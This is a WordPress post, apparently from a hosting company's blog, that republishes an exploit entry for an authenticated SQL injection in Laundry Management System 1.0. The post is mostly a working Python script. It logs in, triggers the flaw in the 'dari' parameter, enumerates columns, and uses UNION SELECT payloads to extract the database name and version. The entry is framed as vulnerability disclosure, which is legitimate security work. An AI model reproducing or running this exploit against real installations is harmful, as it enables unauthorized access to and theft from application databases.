# Exploit Title: Laundry Management System 1.0 – Authenticated SQL Injection
\n# Date: 29-06-2022
\n# Exploit Author: syad
\n# Vendor Homepage: https:\/\/www.sourcecodester.com
\n# Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-ci_laundry.zip
\n# Version: 1.0
\n# Tested on: Windows 10 + XAMPP 3.2.4
\n# CVE ID : N\/A<\/p>\n
# Description
\n# The dari parameter does not perform input validation on the laporan_filter.php file it allow authenticated SQL Injection<\/p>\n
import sys
\nimport requests
\nsess = requests.Session()<\/p>\n
proxies = {“https”: “https:\/\/127.0.0.1:8080”, “http”: “http:\/\/127.0.0.1:8080”}<\/p>\n
def login(ip,username,password):
\ntarget = “http:\/\/%s\/ci_laundry\/welcome\/login” % ip
\ndaftar = {‘username’:username,’password’:password}
\nmasuk = sess.post(target, data=daftar, proxies=proxies)
\nif “Dashboard” in masuk.text:
\nprint(“[$] Success Login :)”)
\nelse:
\nreturn False<\/p>\n
def trigger_sqli(ip):
\ntarget = “http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter” % ip
\nsql = {“dari”:”1′”,’sampai’:’123′}
\ntest = sess.post(target, data=sql, proxies=proxies)
\nif “You have an error in your SQL syntax” in test.text:
\nprint(“[$] Trigger SQL Injection !!!! :)”)
\nelse:
\nreturn False<\/p>\n
def count_column(ip):
\ntarget = “http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter” % ip
\nsql = {“dari”:”1′ ORDER BY 14– -“,’sampai’:’123′}
\ntest = sess.post(target, data=sql, proxies=proxies)
\nif test.status_code == 200:
\nprint(“[$] Found 14 Column In Database !!! :)”)<\/p>\n
def got_database_name(ip):
\ntarget = “http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter” % ip
\nsql = {“dari”:”1′ union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14– -“,’sampai’:’123′}
\ntest = sess.post(target, data=sql, proxies=proxies)
\nif “laundry_db” in test.text:
\nprint(“[$] Found Database Name is => laundry_db”)<\/p>\n
def got_version_data(ip):
\ntarget = “http:\/\/%s\/ci_laundry\/pengeluaran\/laporan_filter” % ip
\nsql = {“dari”:”1′ union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14– -“,’sampai’:’123′}
\ntest = sess.post(target, data=sql, proxies=proxies)
\nif “10.4.24-MariaDB” in test.text:
\nprint(“[$] Found Version Database is => 10.4.24-MariaDB”)<\/p>\n
if __name__ == “__main__”:
\ntry:
\nip = sys.argv[1].strip()
\nusername = sys.argv[2].strip()
\npassword = sys.argv[3].strip()
\nexcept IndexError:
\nprint(“[-] Usage %s <ip> <username> <password>” % sys.argv[0])
\nprint(“[-] Example: %s 192.168.1.x admin admin123” % sys.argv[0])
\nsys.exit(-1)<\/p>\n
login(ip,username,password)
\ntrigger_sqli(ip)
\ncount_column(ip)
\ngot_database_name(ip)
\ngot_version_data(ip)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Laundry Management System 1.0 – Authenticated SQL Injection # Date: 29-06-2022 # Exploit Author: syad # Vendor Homepage: https:\/\/www.sourcecodester.com # Software Link: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/php-ci_laundry.zip # Version: 1.0 # Tested on: Windows 10 + XAMPP 3.2.4 # CVE ID : N\/A # Description # The dari parameter does not perform input validation on the …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26346","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26346"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26346\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}